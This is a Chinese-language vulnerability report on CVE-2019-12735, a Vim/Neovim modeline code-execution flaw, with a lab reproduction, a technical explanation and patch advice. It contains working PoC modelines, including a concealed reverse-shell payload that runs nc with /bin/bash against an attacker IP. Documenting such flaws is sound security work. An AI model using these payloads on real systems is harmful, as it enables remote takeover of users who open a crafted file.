about 1 results (0.01 seconds)

文本编辑器 Vim/Neovim 任意代码执行漏洞应急报告

by LauCyun Jun 6 14:24:12 9,847 views

继 Notepad 被曝不明 0day 漏洞后,Vim/Neovim 也被爆任意代码执行漏洞,安全研究员 Arminius 在 Twitter 上公开了该漏洞的 PoC 和详情。


图1 推文

0x0 漏洞描述

通过打开特意构造的文本文件,就能导致 Vim 和 Neovim 易受经由模式行的任意代码执行攻击。

漏洞编号:

  • CVE-2019-12735

影响版本:

  • Vim < 8.1.1365
  • Neovim < 0.3.6

0x1 漏洞复现

1 复现环境

具体的复现环境如下:

  • 靶机:
    • 系统:Ubuntu 16.04
    • IP:192.168.201.170
    • Vim版本:7.4.1689
  • 攻击机:
    • 系统:Kali Linux
    • IP:192.168.201.102

2 PoC

首先,创建文件 poc.txt,其内容如下:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

确保模式行选项未被禁用(:set modeline)

然后,用 Vim 打开该文件:

$ vim poc.txt

在打开文件时,系统将执行uname –a命令,过程如下图所示:


图2 执行命令

3 反弹shell

该 PoC 说明的是真实的攻击方式,当用户打开该文件时就会反弹 Shell。为了隐藏该攻击,在打开文件时,文件会被立即覆写。另外,当内容以 cat 打印时,该 PoC 使用终端逃逸序列来隐藏模式行。

首先,创建文件 shell.txt,其内容如下:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.201.102 9999 -t -e /bin/bash &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

不建议创建 shell.txt,建议直接下载 shell.txt ,然后根据需求进行修改。

然后,用 Vim 打开该文件即可,其过程如下图所示:


图3 反弹Shell

至于其它玩法在这就不演示。

0x2 漏洞细节

该模式行特征允许在文件的开头或结尾指定自定义编辑器选项。该特征默认启用并适用于所有文件类型,包括单纯的.txt。模式行一般如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全原因考虑,模式行中仅允许选项子集,如果该选项的值中包含一个表达式,那么就会在沙箱中执行:

出于安全考虑(有人可能会创建具有模式行的木马文本文件),仅支持set命令。并非能够设置所有的选项。对于某些选项而言,仅设置了一个标志,因此当使用时,沙箱就奏效了。

沙箱的作用是阻止副作用:

“foldexpr”、“formatexpr”、“includeexpr”、“indentexpr”、“statusline”和“foldtext”选项可能会在沙箱中得以评估。这意味着你不会遭受具有恶意副作用的表达式的影响。这就确保了当这些选项从模式行设置时的安全性。

然而,:source!命令可用于绕过沙箱。它从既定文件中读取并执行命令,如同当手动输入时,在沙箱被丢掉时运行它们。

:so[urce]!(file){file}中读取 vim 命令。这些命令以正常模式执行,就像你输入那样。

因此,可以轻松地构建在沙箱外运行代码的模式行:

# vim: set foldexpr=execute('\:source! some_file'):

另外 Neovim 需要将execute()列为黑名单的步骤:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                This function is not available in the |sandbox|.

这里可使用assert_fails() ,它也有{cmd}实参:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

如下模式行使用折叠表达式来运行source! %以执行当前文件,而它反过来将uname –a ||“(garbage)”作为 shell 命令进行执行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim 独有的函数nvim_input()易受同样方式的影响,例如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

0x3 漏洞补丁

除了打补丁外,建议禁用 vimrc 中的模式行 (set nomodeline),使用 securemodelines 插件或禁用 modelineexpr(补丁 8.1.1366 后,Vim-only)来禁用模式行中的表达式。

0x4 参考

...

Tags Read More..